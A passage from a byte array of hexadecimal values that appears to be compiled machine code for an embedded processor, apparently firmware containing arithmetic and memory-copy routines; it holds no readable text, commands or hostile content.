0xa4, 0x63, 0xff, 0xff,
0x10, 0x84, 0x18, 0x00,
0xf8, 0x89, 0x00, 0x00,
0x92, 0x65, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x92, 0x73, 0x00, 0x41,
0x16, 0x57, 0x40, 0x01,
0xbe, 0x52, 0xff, 0x04,
0x31, 0x29, 0x00, 0x04,
0xbe, 0x13, 0x00, 0xb4,
0x10, 0x78, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x08,
0x16, 0x43, 0xb8, 0x01,
0xbe, 0x52, 0x00, 0x90,
0x60, 0x77, 0x00, 0x04,
0xea, 0xdb, 0x00, 0x24,
0xeb, 0x58, 0x00, 0x04,
0xbe, 0x16, 0x00, 0xbc,
0x13, 0x36, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x0c,
0xbe, 0x03, 0x00, 0xd8,
0x10, 0xbb, 0x00, 0x00,
0xe8, 0xb6, 0x00, 0x0c,
0x32, 0xda, 0x00, 0x01,
0x60, 0x96, 0x00, 0x04,
0xcb, 0x25, 0x20, 0x00,
0xbe, 0x19, 0x01, 0x0c,
0x30, 0x60, 0x00, 0x01,
0xe8, 0x79, 0x00, 0x00,
0xd8, 0x65, 0x20, 0x00,
0xf8, 0x19, 0x00, 0x10,
0xf8, 0x19, 0x00, 0x0c,
0xe8, 0xf8, 0x00, 0x10,
0x30, 0xb9, 0x00, 0x0c,
0x30, 0xd8, 0x00, 0x0c,
0x60, 0xe7, 0x00, 0x04,
0xb9, 0xf4, 0xe6, 0x70,
0x30, 0xe7, 0x00, 0x08,
0xea, 0xdb, 0x00, 0x24,
0xbe, 0x16, 0x00, 0xb0,
0x13, 0x56, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x04,
0xe8, 0xb6, 0x00, 0x0c,
0x60, 0x63, 0x00, 0x04,
0xc8, 0x85, 0x18, 0x00,
0xf8, 0x98, 0x00, 0x00,
0xdb, 0x05, 0x18, 0x00,
0x13, 0x19, 0x00, 0x00,
0x60, 0x77, 0x00, 0x04,
0x10, 0x63, 0xc0, 0x00,
0x30, 0x97, 0x00, 0x01,
0xfa, 0x63, 0x00, 0x14,
0xf8, 0x98, 0x00, 0x10,
0x10, 0x78, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x38,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x70, 0x0c,
0x30, 0xa0, 0x00, 0x10,
0xfb, 0x23, 0x00, 0x0c,
0xf8, 0x7b, 0x00, 0x24,
0xfb, 0x23, 0x00, 0x04,
0xfb, 0x23, 0x00, 0x08,
0xfb, 0x23, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x2c,
0x12, 0xc3, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x04,
0xb9, 0xf4, 0x19, 0xd8,
0x30, 0xe0, 0x00, 0x10,
0xf8, 0x76, 0x00, 0x0c,
0xea, 0xdb, 0x00, 0x24,
0xe8, 0x76, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0x18,
0x13, 0x23, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x38,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x6f, 0xc0,
0x30, 0xa0, 0x00, 0x10,
0xf8, 0x7b, 0x00, 0x24,
0xfb, 0x43, 0x00, 0x0c,
0xfb, 0x43, 0x00, 0x04,
0xfb, 0x43, 0x00, 0x08,
0xfb, 0x43, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x38,
0x12, 0xc3, 0x00, 0x00,
0x10, 0xc3, 0x00, 0x00,
0x10, 0xbb, 0x00, 0x00,
0xa6, 0x56, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x13, 0x43, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x13, 0x5a, 0xd0, 0x00,
0x60, 0xfa, 0x00, 0x04,
0xb9, 0xf4, 0x19, 0x6c,
0x30, 0xe7, 0x00, 0x14,
0xbc, 0x03, 0xfe, 0xe0,
0xfa, 0xc3, 0x00, 0x04,
0xfb, 0x43, 0x00, 0x08,
0xb8, 0x10, 0xfe, 0xcc,
0x13, 0x23, 0x00, 0x00,
0x30, 0x21, 0xff, 0xc0,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x41, 0x00, 0x30,
0xfb, 0x61, 0x00, 0x34,
0xfb, 0x81, 0x00, 0x38,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0xa1, 0x00, 0x3c,
0xe8, 0x66, 0x00, 0x10,
0xe8, 0x86, 0x00, 0x08,
0x92, 0xe7, 0x00, 0x01,
0x92, 0xf7, 0x00, 0x01,
0x92, 0xf7, 0x00, 0x01,
0x92, 0xf7, 0x00, 0x01,
0x92, 0xf7, 0x00, 0x01,
0x30, 0x63, 0x00, 0x01,
0x13, 0x37, 0x18, 0x00,
0x13, 0x46, 0x00, 0x00,
0x13, 0x87, 0x00, 0x00,
0xea, 0x66, 0x00, 0x04,
0x16, 0x59, 0x20, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x13, 0x65, 0x00, 0x00,
0x10, 0x84, 0x20, 0x00,
0x16, 0x59, 0x20, 0x01,
0xbe, 0x52, 0xff, 0xf8,
0x32, 0x73, 0x00, 0x01,
0xea, 0xdb, 0x00, 0x24,
0xbc, 0x16, 0x01, 0x90,
0xe8, 0x76, 0x00, 0x0c,
0xbe, 0x03, 0x01, 0xb0,
0x10, 0xbb, 0x00, 0x00,
0xe8, 0xb6, 0x00, 0x0c,
0x60, 0x93, 0x00, 0x04,
0xcb, 0x05, 0x20, 0x00,
0xbe, 0x18, 0x01, 0xc0,
0x30, 0x60, 0x00, 0x01,
0xe8, 0x78, 0x00, 0x00,
0xd8, 0x65, 0x20, 0x00,
0xf8, 0x18, 0x00, 0x10,
0xf8, 0x18, 0x00, 0x0c,
0xbe, 0x77, 0x00, 0x2c,
0x30, 0xd8, 0x00, 0x14,
0x10, 0x66, 0x00, 0x00,
0x10, 0x80, 0x00, 0x00,
0x30, 0x84, 0x00, 0x01,
0xf8, 0x03, 0x00, 0x00,
0x16, 0x44, 0xb8, 0x00,
0xbe, 0x32, 0xff, 0xf4,
0x30, 0x63, 0x00, 0x04,
0x60, 0x77, 0x00, 0x04,
0x10, 0xc6, 0x18, 0x00,
0xe8, 0x7a, 0x00, 0x10,
0x30, 0xba, 0x00, 0x14,
0xa4, 0xfc, 0x00, 0x1f,
0x60, 0x63, 0x00, 0x04,
0xbe, 0x07, 0x00, 0xc4,
0x11, 0x05, 0x18, 0x00,
0x35, 0x27, 0x00, 0x20,
0x10, 0x80, 0x00, 0x00,
0xe8, 0x65, 0x00, 0x00,
0xa6, 0x47, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x10, 0x63, 0x18, 0x00,
0x80, 0x64, 0x18, 0x00,
0xf8, 0x66, 0x00, 0x00,
0xe8, 0x85, 0x00, 0x00,
0x30, 0xa5, 0x00, 0x04,
0xa6, 0x49, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x10, 0x84, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x90, 0x84, 0x00, 0x41,
0x16, 0x48, 0x28, 0x03,
0xbe, 0x52, 0xff, 0xb8,
0x30, 0xc6, 0x00, 0x04,
0xf8, 0x86, 0x00, 0x00,
0xbe, 0x24, 0x00, 0x80,
0x30, 0x79, 0xff, 0xff,
0xf8, 0x78, 0x00, 0x10,
0xbe, 0x16, 0x00, 0x88,
0x12, 0x76, 0x00, 0x00,
0xe8, 0x9a, 0x00, 0x04,
0xe8, 0xd6, 0x00, 0x0c,
0x10, 0x78, 0x00, 0x00,
0x60, 0x84, 0x00, 0x04,
0xc8, 0xa6, 0x20, 0x00,
0xf8, 0xba, 0x00, 0x00,
0xdb, 0x46, 0x20, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xeb, 0xa1, 0x00, 0x3c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x40,
0xe8, 0x65, 0x00, 0x00,
0x30, 0xa5, 0x00, 0x04,
0xf8, 0x66, 0x00, 0x00,
0x16, 0x48, 0x28, 0x03,
0xbe, 0x52, 0xff, 0xf0,
0x30, 0xc6, 0x00, 0x04,
0xb8, 0x10, 0xff, 0x90,
0x30, 0x79, 0xff, 0xff,
0x33, 0x39, 0x00, 0x01,
0x30, 0x79, 0xff, 0xff,
0xf8, 0x78, 0x00, 0x10,
0xbe, 0x36, 0xff, 0x88,
0x12, 0x76, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x6d, 0x74,
0x30, 0xa0, 0x00, 0x10,
0xf8, 0x7b, 0x00, 0x24,
0xfa, 0x63, 0x00, 0x0c,
0xfa, 0x63, 0x00, 0x04,
0xfa, 0x63, 0x00, 0x08,
0xfa, 0x63, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x60,
0x12, 0xc3, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x6d, 0x4c,
0x30, 0xa0, 0x00, 0x10,
0x12, 0xc3, 0x00, 0x00,
0xf8, 0x7b, 0x00, 0x24,
0xf8, 0x03, 0x00, 0x04,
0xf8, 0x03, 0x00, 0x08,
0xf8, 0x03, 0x00, 0x00,
0xf8, 0x03, 0x00, 0x0c,
0x10, 0xbb, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x04,
0xb9, 0xf4, 0x17, 0x18,
0x30, 0xe0, 0x00, 0x10,
0xf8, 0x76, 0x00, 0x0c,
0xea, 0xdb, 0x00, 0x24,
0xe8, 0x76, 0x00, 0x0c,
0xbe, 0x23, 0xfe, 0x40,
0x13, 0x03, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0x5c,
0x10, 0xc3, 0x00, 0x00,
0x10, 0xbb, 0x00, 0x00,
0xa6, 0x53, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x13, 0xa3, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x13, 0xbd, 0xe8, 0x00,
0x60, 0xfd, 0x00, 0x04,
0xb9, 0xf4, 0x16, 0xd4,
0x30, 0xe7, 0x00, 0x14,
0xbc, 0x03, 0x00, 0x18,
0xea, 0xdb, 0x00, 0x24,
0xfa, 0x63, 0x00, 0x04,
0xfb, 0xa3, 0x00, 0x08,
0xb8, 0x10, 0xfe, 0x14,
0x13, 0x03, 0x00, 0x00,
0xea, 0xdb, 0x00, 0x24,
0xb8, 0x00, 0xfe, 0x10,
0x30, 0x21, 0xff, 0xc0,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x81, 0x00, 0x38,
0xfb, 0xa1, 0x00, 0x3c,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x41, 0x00, 0x30,
0xfb, 0x61, 0x00, 0x34,
0xeb, 0x66, 0x00, 0x10,
0xeb, 0x47, 0x00, 0x10,
0x12, 0xe6, 0x00, 0x00,
0x13, 0x87, 0x00, 0x00,
0x16, 0x5a, 0xd8, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x13, 0xa5, 0x00, 0x00,
0x13, 0x5b, 0x00, 0x00,
0x13, 0x86, 0x00, 0x00,
0x12, 0xe7, 0x00, 0x00,
0xeb, 0x67, 0x00, 0x10,
0xe8, 0x77, 0x00, 0x08,
0x12, 0xdb, 0xd0, 0x00,
0xeb, 0x17, 0x00, 0x04,
0x16, 0x56, 0x18, 0x01,
0xbc, 0xb2, 0x00, 0x08,
0x33, 0x18, 0x00, 0x01,
0xea, 0x7d, 0x00, 0x24,
0xbc, 0x13, 0x04, 0x00,
0xe8, 0x73, 0x00, 0x0c,
0xbe, 0x03, 0x04, 0x20,
0x10, 0xbd, 0x00, 0x00,
0xe8, 0xb3, 0x00, 0x0c,
0x60, 0x98, 0x00, 0x04,
0xcb, 0x25, 0x20, 0x00,
0xbe, 0x19, 0x04, 0x34,
0x30, 0x60, 0x00, 0x01,
0xe8, 0x79, 0x00, 0x00,
0xd8, 0x65, 0x20, 0x00,
0xf8, 0x19, 0x00, 0x10,
0xf8, 0x19, 0x00, 0x0c,
0x30, 0xb9, 0x00, 0x14,
0x60, 0x76, 0x00, 0x04,
0x13, 0x05, 0x18, 0x00,
0x16, 0x58, 0x28, 0x03,
0xbe, 0xb2, 0x00, 0x18,
0x10, 0x65, 0x00, 0x00,
0xf8, 0x03, 0x00, 0x00,
0x30, 0x63, 0x00, 0x04,
0x16, 0x58, 0x18, 0x03,
0xbc, 0x52, 0xff, 0xf4,
0x30, 0xfc, 0x00, 0x14,
0x60, 0x9a, 0x00, 0x04,
0x32, 0xf7, 0x00, 0x14,
0x60, 0x7b, 0x00, 0x04,
0x13, 0x47, 0x20, 0x00,
0x16, 0x5a, 0x38, 0x03,
0xbe, 0xb2, 0x03, 0x2c,
0x11, 0x97, 0x18, 0x00,
0x12, 0x65, 0x00, 0x00,
0xe8, 0x67, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa5, 0x43, 0xff, 0xff,
0xbe, 0x0a, 0x01, 0x60,
0x11, 0x13, 0x00, 0x00,
0x11, 0x37, 0x00, 0x00,
0x11, 0x60, 0x00, 0x00,
0xe8, 0x89, 0x00, 0x00,
0xe8, 0xc8, 0x00, 0x00,
0x31, 0x29, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0xa4, 0xff, 0xff,
0x40, 0xaa, 0x28, 0x00,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x40, 0x8a, 0x20, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x66, 0xff, 0xff,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x10, 0x6b, 0x18, 0x00,
0x10, 0xa5, 0x18, 0x00,
0x10, 0x84, 0x30, 0x00,
0x90, 0x65, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x10, 0x63, 0x20, 0x00,
0xf4, 0x68, 0x00, 0x00,
0xf4, 0xa8, 0x00, 0x02,
0x91, 0x63, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x16, 0x4c, 0x48, 0x03,
0xbe, 0x52, 0xfe, 0xc0,
0x31, 0x08, 0x00, 0x04,
0xf9, 0x68, 0x00, 0x00,
0xe8, 0x67, 0x00, 0x00,
0x91, 0x63, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0x91, 0x6b, 0x00, 0x41,
0xbe, 0x0b, 0x01, 0x64,
0x11, 0x13, 0x00, 0x00,
0xe9, 0x33, 0x00, 0x00,
0x11, 0x57, 0x00, 0x00,
0x10, 0xc9, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0xe8, 0xaa, 0x00, 0x00,
0x90, 0x86, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x10, 0x83, 0x20, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x65, 0xff, 0xff,
0x40, 0x6b, 0x18, 0x00,
0xf5, 0x28, 0x00, 0x02,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x10, 0x63, 0x20, 0x00,
0xf4, 0x68, 0x00, 0x00,
0x31, 0x08, 0x00, 0x04,
0xe8, 0xc8, 0x00, 0x00,
0x40, 0xab, 0x28, 0x00,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x86, 0xff, 0xff,
0x10, 0xa5, 0x20, 0x00,
0x11, 0x23, 0x28, 0x00,
0x31, 0x4a, 0x00, 0x04,
0x90, 0x69, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x90, 0x63, 0x00, 0x41,
0x16, 0x4c, 0x50, 0x03,
0xbc, 0x52, 0xfe, 0xbc,
0xf9, 0x28, 0x00, 0x00,
0x30, 0xe7, 0x00, 0x04,
0x16, 0x5a, 0x38, 0x03,
0xbe, 0x52, 0xfc, 0xe8,
0x32, 0x73, 0x00, 0x04,
0xbc, 0x76, 0x00, 0x28,
0xe8, 0x78, 0xff, 0xfc,
0xbe, 0x03, 0x00, 0x14,
0x30, 0x98, 0xff, 0xfc,
0xb8, 0x00, 0x00, 0x18,
0xe8, 0x64, 0x00, 0x00,
0xbc, 0x23, 0x00, 0x10,
0x32, 0xd6, 0xff, 0xff,
0xbe, 0x36, 0xff, 0xf4,
0x30, 0x84, 0xff, 0xfc,
0xfa, 0xd9, 0x00, 0x10,
0x10, 0x79, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xeb, 0x81, 0x00, 0x38,
0xeb, 0xa1, 0x00, 0x3c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x40,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x68, 0x40,
0x30, 0xa0, 0x00, 0x10,
0x12, 0x63, 0x00, 0x00,
0xf8, 0x7d, 0x00, 0x24,
0xf8, 0x03, 0x00, 0x04,
0xf8, 0x03, 0x00, 0x08,
0xf8, 0x03, 0x00, 0x00,
0xf8, 0x03, 0x00, 0x0c,
0x10, 0xbd, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x04,
0xb9, 0xf4, 0x12, 0x0c,
0x30, 0xe0, 0x00, 0x10,
0xf8, 0x73, 0x00, 0x0c,
0xea, 0x7d, 0x00, 0x24,
0xe8, 0x73, 0x00, 0x0c,
0xbe, 0x23, 0xfb, 0xd0,
0x13, 0x23, 0x00, 0x00,
0xb8, 0x10, 0xfb, 0xf0,
0x30, 0xb9, 0x00, 0x14,
0x10, 0xbd, 0x00, 0x00,
0x10, 0xc3, 0x00, 0x00,
0xa6, 0x58, 0x00, 0x1f,
0xbe, 0x12, 0x00, 0x14,
0x12, 0x63, 0x00, 0x00,
0x32, 0x52, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xfc,
0x12, 0x73, 0x98, 0x00,
0x60, 0xf3, 0x00, 0x04,
0xb9, 0xf4, 0x11, 0xc4,
0x30, 0xe7, 0x00, 0x14,
0xbe, 0x03, 0xfb, 0xbc,
0x30, 0xb9, 0x00, 0x14,
0xfb, 0x03, 0x00, 0x04,
0xfa, 0x63, 0x00, 0x08,
0xb8, 0x10, 0xfb, 0xa0,
0x13, 0x23, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd4,
0xfa, 0xe1, 0x00, 0x24,
0x12, 0xe5, 0x00, 0x00,
0xfb, 0x01, 0x00, 0x28,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xea, 0xd7, 0x00, 0x24,
0x30, 0xa0, 0x00, 0x10,
0xbe, 0x16, 0x00, 0x68,
0x13, 0x06, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x0c,
0xbe, 0x03, 0x00, 0x84,
0x10, 0xb7, 0x00, 0x00,
0xe8, 0x96, 0x00, 0x0c,
0x10, 0xb7, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x01,
0xea, 0x64, 0x00, 0x04,
0xbe, 0x13, 0x00, 0x94,
0x30, 0xe0, 0x00, 0x1c,
0xe8, 0x73, 0x00, 0x00,
0xf8, 0x64, 0x00, 0x04,
0xf8, 0x13, 0x00, 0x0c,
0xf8, 0x13, 0x00, 0x10,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x73, 0x00, 0x10,
0xfb, 0x13, 0x00, 0x14,
0x10, 0x73, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x2c,
0xb0, 0x00, 0xff, 0xff,
0xb9, 0xf4, 0x67, 0x20,
0x80, 0x00, 0x00, 0x00,
0x12, 0xc3, 0x00, 0x00,
0xf8, 0x77, 0x00, 0x24,
0xf8, 0x03, 0x00, 0x04,
0xf8, 0x03, 0x00, 0x08,
0xf8, 0x03, 0x00, 0x00,
0xf8, 0x03, 0x00, 0x0c,
0x10, 0xb7, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x04,
0xb9, 0xf4, 0x10, 0xec,
0x30, 0xe0, 0x00, 0x10,
0xf8, 0x76, 0x00, 0x0c,
0xea, 0xd7, 0x00, 0x24,
0xe8, 0x76, 0x00, 0x0c,
0xbe, 0x23, 0xff, 0x6c,
0x12, 0x63, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x90,
0x30, 0x60, 0x00, 0x01,
0xb9, 0xf4, 0x10, 0xc8,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x03, 0xff, 0x7c,
0x30, 0x80, 0x00, 0x02,
0x12, 0x63, 0x00, 0x00,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x73, 0x00, 0x04,
0xf8, 0x93, 0x00, 0x08,
0xb8, 0x00, 0xff, 0x5c,
0x30, 0x21, 0xff, 0xc4,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x41, 0x00, 0x30,
0x13, 0x05, 0x00, 0x00,
0x13, 0x46, 0x00, 0x00,
0x30, 0xa8, 0x00, 0x08,
0x30, 0xc0, 0x00, 0x09,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x21, 0x00, 0x2c,
0xfb, 0x61, 0x00, 0x34,
0xfb, 0x81, 0x00, 0x38,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0x13, 0x68, 0x00, 0x00,
0x13, 0x27, 0x00, 0x00,
0xb9, 0xf4, 0x41, 0x70,
0x13, 0x89, 0x00, 0x00,
0x32, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x1c,
0x12, 0xe0, 0x00, 0x00,
0x30, 0x80, 0x00, 0x01,
0x10, 0x84, 0x20, 0x00,
0x16, 0x43, 0x20, 0x01,
0xbe, 0x52, 0xff, 0xf8,
0x32, 0xf7, 0x00, 0x01,
0xea, 0x78, 0x00, 0x24,
0xbe, 0x13, 0x01, 0x0c,
0x12, 0xd3, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x0c,
0xbe, 0x03, 0x01, 0x28,
0x10, 0xb8, 0x00, 0x00,
0xe8, 0xb3, 0x00, 0x0c,
0x60, 0x97, 0x00, 0x04,
0xca, 0xc5, 0x20, 0x00,
0xbe, 0x16, 0x01, 0x3c,
0x30, 0x60, 0x00, 0x01,
